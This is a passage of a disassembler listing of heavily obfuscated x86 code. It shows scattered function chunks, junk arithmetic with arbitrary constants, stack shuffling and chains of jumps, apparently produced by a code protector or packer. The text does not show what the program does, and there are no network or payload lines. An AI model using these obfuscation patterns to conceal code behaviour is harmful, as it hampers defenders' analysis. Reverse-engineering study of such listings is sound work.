loc_5A4F36: ; CODE XREF: sub_5A041B+727Bj xor ebp, 1844903h jmp loc_5AE9EC ; END OF FUNCTION CHUNK FOR sub_5A041B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A4F41: ; CODE XREF: sub_5A0FFF+98j push [esp+1Eh+var_1E] mov ebp, [esp+22h+var_22] add esp, 4 push esi jmp loc_59C548 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4F50: ; CODE XREF: sub_5AA2D1+5F67j push ax jmp loc_5A6A62 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A4F57: ; CODE XREF: sdfs____:005AE25Bj add edi, esi add edi, 316D31C8h add edi, 129B0B80h jmp loc_5AD145 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4F6A: ; CODE XREF: sub_5AA2D1:loc_5A93DEj and eax, 7E37516Dh jle sub_59D5EA or eax, 21351BA3h sub eax, 0C4374449h jmp loc_5AC258 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A4F84: ; CODE XREF: sub_5992DA+2D8Fj ; sub_599A61+D7D2j shr ecx, 3 sub ecx, 432D7FBAh not ecx jmp loc_59BAF7 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5A4F94: ; CODE XREF: sdfs____:005AA67Ej sub esp, 4 mov [esp], edx jmp loc_5ACE42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4FA2: ; CODE XREF: sub_5AF294-6FD5j ; sub_5AA2D1:loc_5A9074j sub ebx, 10526431h sub ebx, eax add ebx, 10526431h sub ebx, 1CA76F30h pop eax jmp loc_5AA73D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A4FBC: ; CODE XREF: sub_5B01F7-D2B8j mov [esp+18h+var_18], ecx push [esp+18h+var_14] mov ecx, [esp+1Ch+var_1C] add esp, 4 pop [esp+18h+var_18] pop esp mov dx, word ptr [esp+10h+var_10] sub esp, 4 mov [esp+14h+var_14], ecx mov ecx, esp push ebp mov ebp, 607D3D64h and ebp, 9E832B3h not ebp push edx mov edx, 331542DEh jmp loc_5A5E0E ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_5A4FF2: ; CODE XREF: sub_5A81C4-D1D4j sub [esp+4+var_4], 8112199h push [esp+4+var_4] pop ecx jmp loc_5A363B ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5A5002: ; CODE XREF: sub_59B2E4+9j mov esi, esp add esi, 4 push ecx mov ecx, 18784D0Bh push edi mov edi, 0E331CAEh jmp loc_59A3E9 ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_5A501B: ; CODE XREF: sub_5AAE5E:loc_5ACD01j xor ecx, 4BCCCF90h mov eax, ecx pop ecx jmp sub_5A06DD ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A5029: ; CODE XREF: sub_59A7E7+4E02j add esp, 2 sub cl, ah pop eax pop ebx add cl, ah sub cl, 54h jmp loc_59FAB4 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; =============== S U B R O U T I N E ======================================= sub_5A503A proc near ; CODE XREF: sub_59C2A6+E38Bj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059C7F0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059EFCC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A0A5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A0EED SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A176B SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005A19C9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A214A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A21DC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A36FE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A432C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A9039 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A95DF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A973B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A989D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AC9F5 SIZE 0000000A BYTES push ebx push 236D7FEBh push [esp+8+var_8] mov ebx, [esp+0Ch+var_C] add esp, 4 add esp, 4 xor ebx, 7ED42BB4h jmp loc_5A95DF sub_5A503A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5A505A: ; CODE XREF: sub_5AE29C-59F6j dec eax push edi mov edi, 46DF440Fh sub eax, edi pop edi sub eax, 430E28D6h not eax jmp loc_5A6666 ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5070: ; CODE XREF: sub_5AA2D1+221j pop esp mov word ptr [esp+2+var_4+2], ax jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599C9B loc_5A507A: ; CODE XREF: sub_599C9B+2j mov ebx, 72401F68h mov ebp, ebx pop ebx jmp loc_5A1703 ; END OF FUNCTION CHUNK FOR sub_599C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5A5087: ; CODE XREF: sub_5AB207-2A35j xchg edi, [esp-8+arg_4] pop esp jmp sub_5A9CAE ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A5090: ; CODE XREF: sub_5992DA+D54j ; sub_5AB3DB-79CFj push [esp+20h+var_22+2] jmp loc_5A37CE ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A5098: ; CODE XREF: sub_5A2E41-6701j xor ebx, [esp+0] pop esp push 664Dh mov [esp+0], edx push eax push edx push ecx push 6FCB7557h mov ecx, [esp+10h+var_10] jmp sub_5AA810 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A50B4: ; CODE XREF: sub_5AC803-E5FEj bt word ptr [esp-4+arg_0], ax pushf jmp loc_5A9039 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A50BF: ; CODE XREF: sub_59FC02+39j pop ebp pop ecx or ebp, 2C7F78C0h add ebp, 5ED3471Dh inc ebp push edx mov edx, 7D2E2A82h push edi mov edi, 5A2F0702h and edi, 6B84E5Ah jmp loc_5A37DF ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A50E5: ; CODE XREF: sub_5A5EFF-3A61j mov edi, 1 add edx, edi pop edi xor edx, 598F1DC7h jmp loc_59BCFA ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A50F8: ; CODE XREF: sub_5AA2D1-10133j pop edx jmp loc_5ABD8E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_5A50FE: ; CODE XREF: sub_5A3B60-872Fj pop ecx or ecx, 29940583h jmp loc_59E0CA ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8C5C loc_5A510A: ; CODE XREF: sub_5A8C5C-1333j sub eax, 43B00C34h add eax, ebx add eax, 43B00C34h pop ebx push ebp mov ebp, 4 add eax, 44D92EF3h jmp loc_5A799D ; END OF FUNCTION CHUNK FOR sub_5A8C5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5127: ; CODE XREF: sub_5AA2D1-2C0Dj mov word ptr [esp-0Ch+arg_8], ax jmp loc_59910F ; --------------------------------------------------------------------------- loc_5A5130: ; CODE XREF: sub_5AA2D1-559Ej sub ecx, 750116DBh jmp loc_59BAB5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A513B: ; CODE XREF: sdfs____:005A35C5j push esi jmp loc_59DA02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A5141: ; CODE XREF: sub_5A2E41+3181j jmp loc_5AA7DF ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5146: ; CODE XREF: sub_5AA2D1-4629j push esi mov esi, 10F64236h sub [esp+1Ch+var_14], esi jmp loc_5A1976 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A5155: ; CODE XREF: sub_5A477C+A5DAj pop ecx sub eax, 58500645h add eax, ebp add eax, 58500645h push edx push esp pop edx add edx, 4 sub edx, 4 jmp loc_59C767 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A5176: ; CODE XREF: sub_59C979+12BAj add esp, 2 push cx push bx mov bh, 6Bh push eax mov ah, bh mov cl, ah pop eax pop bx jmp loc_5A7B85 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A518C: ; CODE XREF: sub_5992DA+15FABj add ebx, ebp mov ebp, [esp+24h+var_26+2] add esp, 4 jmp sub_5A7028 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_5A5199: ; CODE XREF: sub_5AA5F6-4DD7j not al jmp loc_5A2C47 ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0278 loc_5A51A0: ; CODE XREF: sub_5A0278+1j mov ebx, 69012CA1h add ebx, 92A676BFh sub eax, 4F13055Eh jmp loc_5A4B3F ; END OF FUNCTION CHUNK FOR sub_5A0278 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A51B5: ; CODE XREF: sub_59D6B8+1062Bj add edi, 4 xchg edi, [esp+0] pop esp jmp loc_5B008F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A51C4: ; CODE XREF: sub_59C979+10F2Bj pop edx push ebx mov ebx, 2AE01094h dec ebx sub ebx, 4CF5D71h jmp loc_5A4C63 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A51D7: ; CODE XREF: sub_59D6B8+2BBBj mov edi, 2532386Ah shl edi, 1 shl edi, 2 add edi, 0E05AB439h xor ebp, edi pop edi jmp loc_5A6A24 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A51EF: ; CODE XREF: sub_59A479+15j js loc_5AFD17 or eax, 64B11E7Bh sub eax, 4FCF2F74h jmp loc_5AB4AC ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54BA loc_5A5204: ; CODE XREF: sub_5A54BA-92F4j mov edi, 3E3B5A31h sub edi, 3CAD823Bh sub ebp, edi pop edi mov ebx, ebp jmp loc_5A30EB ; END OF FUNCTION CHUNK FOR sub_5A54BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A5219: ; CODE XREF: sub_59D6B8+6j ; sub_59A26C+4B07j pop dword ptr [esp+0] pop esp and ebx, ebp push [esp-8+arg_4] pop ebp add esp, 4 jmp loc_5AC67F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_5A522E proc near ; CODE XREF: sub_59F02F+F7CFj ; DATA XREF: sdfs____:00598FCCo var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_2 = word ptr 6 ; FUNCTION CHUNK AT 0059A7DF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B436 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059BD3D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059F492 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F622 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A02F8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A2984 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2F68 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A3A9C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A5269 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A5757 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A597F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A6E61 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A739B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A9EA3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AA277 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AA4B9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AD91C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AEE62 SIZE 0000000B BYTES push dword ptr [esp+0] mov edx, [esp+4+var_4] add esp, 4 push eax push 5F6Dh push esp jmp loc_5A739B sub_5A522E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A5243: ; CODE XREF: sub_59EE3E-432Fj add edi, 3D9CDE1Ch mov ecx, edi pop edi push ebp mov ebp, 60E27D6Eh xor ecx, ebp mov ebp, [esp+0] jmp loc_5A47CF ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_5A525C: ; CODE XREF: sub_59993B+A12Dj sub [esp+8+var_4], 26023989h jmp loc_5A9932 ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A5269: ; CODE XREF: sub_5A522E-9DF1j push esi mov esi, 7C207693h jmp loc_5AA277 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_5A5274: ; CODE XREF: sub_5A4CF3+5D40j xchg esi, [esp+8+var_8] jmp loc_5A52CC ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5A527C: ; CODE XREF: sub_59D37E+3446j mov [esp+8+var_8], edx mov dh, 7Ch add ch, 0E7h sub ch, dh sub ch, 0E7h mov edx, [esp+8+var_8] jmp loc_59FCA6 ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5291: ; CODE XREF: sub_5AA2D1:loc_59CA8Fj ; sub_59D6B8+96B5j mov ecx, [esp+0] push edi mov edi, esp jmp loc_5A79E3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A529C: ; CODE XREF: sub_5A63DC-4FFDj add edx, 1AAB65F2h not edx push 240h mov [esp+8+var_8], eax jmp loc_59BF9E ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A52B1: ; CODE XREF: sub_5AA2D1-1D8Bj pop eax push eax push esp mov eax, [esp+6+var_8+2] add esp, 4 push ebx push ebp mov ebp, 7BA20562h mov ebx, ebp pop ebp jmp loc_59ED20 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_5A52CC: ; CODE XREF: sub_5A4CF3+584j mov esp, [esp+8+var_8] shr eax, 10h xor eax, ecx jmp loc_5AFBB3 ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A52D9: ; CODE XREF: sub_59F1F3+E357j mov [esp-4+arg_0], eax mov eax, 854021Ah xor edi, eax pop eax jmp loc_5A7B4C ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_5A52E9: ; CODE XREF: sub_5A577C-94E9j push ecx mov ecx, 163773F3h sub edi, ecx pop ecx add edi, ebp add edi, 163773F3h jmp loc_5A457F ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A52FF: ; CODE XREF: sub_59CBE1+15FEj add eax, edx pop edx add eax, 5CF803E6h sub eax, 55C02C53h jmp loc_59EBDC ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5A5311: ; CODE XREF: sub_59F4D2-166Cj add [esp+0Ch+var_C], 4 push [esp+0Ch+var_C] pop edx jmp sub_59DCD1 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A531E: ; CODE XREF: sub_5ABEF6-CDD5j mov edi, 4 sub esi, 732A125Bh add esi, edi jmp loc_5A57C4 ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; =============== S U B R O U T I N E ======================================= sub_5A5330 proc near ; DATA XREF: sdfs____:00598E88o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059EE24 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A3E1B SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005AB26B SIZE 00000010 BYTES push dword ptr [esp+0] pop eax jmp loc_59EE24 sub_5A5330 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5339: ; CODE XREF: sub_5AA2D1-B960j pop edi push edx jmp loc_5A48C2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A5340: ; CODE XREF: sub_5A5EFF+1B21j ; sub_5A169C+766Bj push edx mov edx, 4 jmp loc_5A9D92 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5A534B: ; CODE XREF: sub_5AD6D4-F0F3j mov edi, [esp+8+var_8] push 4012h mov [esp+0Ch+var_C], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A16DA ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A5367: ; CODE XREF: sub_5A913B+7j mov esi, esp add esi, 4 push edx jmp loc_5A76C9 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A5375: ; CODE XREF: sub_5A7BA0+8533j mov [esp-4+arg_0], ebp mov ebp, 0CDD45F06h mov edi, ebp pop ebp add ecx, 70C87003h add ecx, edi sub ecx, 70C87003h jmp loc_59DE6B ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A5393: ; CODE XREF: sub_59C979-770j jge loc_5AD888 add edi, 0F8491D10h dec edi mov al, ch mov dh, ch loc_5A53A4: ; CODE XREF: sub_5A21F1-1C08j sub [esp+4], ebp add dword ptr [esp+4], 51281642h sub dword ptr [esp+4], 577567E9h jmp loc_5A25CE ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5A53BD: ; CODE XREF: sub_599117+70Aj jmp loc_59BE44 ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A53C2: ; CODE XREF: sub_5A79BE+1FEAj mov eax, 4 sub edi, 4D9826C9h add edi, eax add edi, 4D9826C9h mov eax, [esp+8+var_8] add esp, 4 jmp loc_5AC978 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A53E3: ; CODE XREF: sub_5A7BA0-72D2j pop eax jmp loc_5AC397 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A53E9: ; CODE XREF: sub_5AA2D1-116j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] shl edi, 8 push ebp jmp loc_5B01CB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A5404: ; CODE XREF: sub_5B01F7-85D4j add edx, 59B37825h pop ebp jmp loc_59A912 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5A5410: ; CODE XREF: sub_5AF294-5CD5j ; sub_5AC18D+2FFDj mov dl, al mov bh, dl pop edx push 1116h mov [esp+8+var_8], edx push 5F3Ch mov [esp+0], eax jmp loc_59BA0C ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A542A: ; CODE XREF: sub_59D6B8+1132Fj mov eax, 0AEE1E60h add ebx, eax jmp loc_5A64A7 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_5A5436: ; CODE XREF: sub_59993B+16A61j pop esi jmp loc_5A561F ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A543C: ; CODE XREF: sub_5AA2D1+2C64j xchg ebp, [esp+8+var_8] pop esp mov [esp+4+var_4], ecx push 4 mov ecx, [esp+8+var_8] add esp, 4 add eax, ecx pop ecx xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] pop esp push 0A70h mov [esp+0], edi push 294E1300h push [esp+4+var_4] jmp loc_59D254 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59982C loc_5A5473: ; CODE XREF: sub_59982C+6AF6j neg ecx and ecx, 34502694h or ecx, 4F3648BAh add ecx, 0B4682F56h add ebp, ecx pop ecx and edx, ebp pop ebp sub edx, 0FF44849Bh sub edx, 48A5518Bh jmp loc_5A0458 ; END OF FUNCTION CHUNK FOR sub_59982C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A06DD loc_5A549E: ; CODE XREF: sub_5A06DD-31F8j add ebx, 4 sub ebx, 4 push ebx jmp loc_5A47E0 ; END OF FUNCTION CHUNK FOR sub_5A06DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_5A54AD: ; CODE XREF: sub_5A4CF3-3433j push 605h mov [esp-4+arg_0], edi jmp loc_59F39C ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; =============== S U B R O U T I N E ======================================= sub_5A54BA proc near ; CODE XREF: sub_5ACB83-10A8Bj var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059B794 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059C1BF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A30EB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A5204 SIZE 00000015 BYTES push ebx push ebp push 59F419FEh mov ebp, [esp+0Ch+var_C] jmp loc_59C1BF sub_5A54BA endp ; =============== S U B R O U T I N E ======================================= sub_5A54C9 proc near ; DATA XREF: sdfs____:00598FD0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B72C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A1149 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A1A99 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A602D SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005A7007 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A8AA6 SIZE 00000012 BYTES mov cx, [esp+0] push edi push esp pop edi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_59B72C sub_5A54C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A54E4: ; CODE XREF: sub_5A63DC+3E7Ej xor ecx, [esp+4+var_4] pop esp sub dword ptr [esp+0], 28EB0D09h sub dword ptr [esp+0], 518A20BFh jmp loc_59E976 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A54FB: ; CODE XREF: sub_5AA2D1-80C9j mov [esp+0Ch+var_C], edi push 688Dh push esp pop [esp+14h+var_14] add [esp+10h+var_10], 4 jmp loc_59A3C0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A5510: ; CODE XREF: sub_5A9EC5-D7C6j add al, 0F2h pop ebx jmp loc_5A05EE ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5518: ; CODE XREF: sub_5AA2D1+1586j pop esi mov ebx, ebp jmp loc_59D61E ; --------------------------------------------------------------------------- loc_5A5520: ; CODE XREF: sub_5AA2D1-7824j sub ebx, 13F320D9h jmp loc_5AB877 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A552B: ; CODE XREF: sub_59C979+8D59j or cl, 76h jmp loc_59DFA6 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5998AD loc_5A5533: ; CODE XREF: sub_5998AD+C575j push 42E2h mov [esp+14h+var_14], esp add [esp+14h+var_14], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp+10h+var_10] mov esp, [esp+10h+var_10] push ebp push edi mov edi, 4 mov ebp, edi mov edi, [esp+4+var_4] push edx mov edx, esp jmp loc_59B6E8 ; END OF FUNCTION CHUNK FOR sub_5998AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5648 loc_5A5567: ; CODE XREF: sub_5A5648-9751j pop ecx dec eax jmp loc_59BFC7 ; END OF FUNCTION CHUNK FOR sub_5A5648 ; =============== S U B R O U T I N E ======================================= sub_5A556E proc near ; CODE XREF: sub_5A9799+4j sub esp, 4 jmp loc_5B0293 sub_5A556E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A5576: ; CODE XREF: sub_59D6B8+BC32j ; sub_59EE3E+CABFj add esp, 4 pop eax sub ecx, 6C5F12EAh add ecx, 1A096262h add ecx, esi jmp loc_59D995 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EB4 loc_5A558D: ; CODE XREF: sub_5A9EB4-FA10j sub esi, 4 xor esi, [esp+4+var_4] jmp loc_59C63E ; END OF FUNCTION CHUNK FOR sub_5A9EB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_5A5598: ; CODE XREF: sub_599CC6+10E68j mov edx, [esp+0] add esp, 4 pop ebx push edx mov dh, ah mov ch, dh pop edx pop eax mov [edi+eax*4+1], ch push dword ptr [esp+0] jmp loc_5A0A8E ; END OF FUNCTION CHUNK FOR sub_599CC6 ; 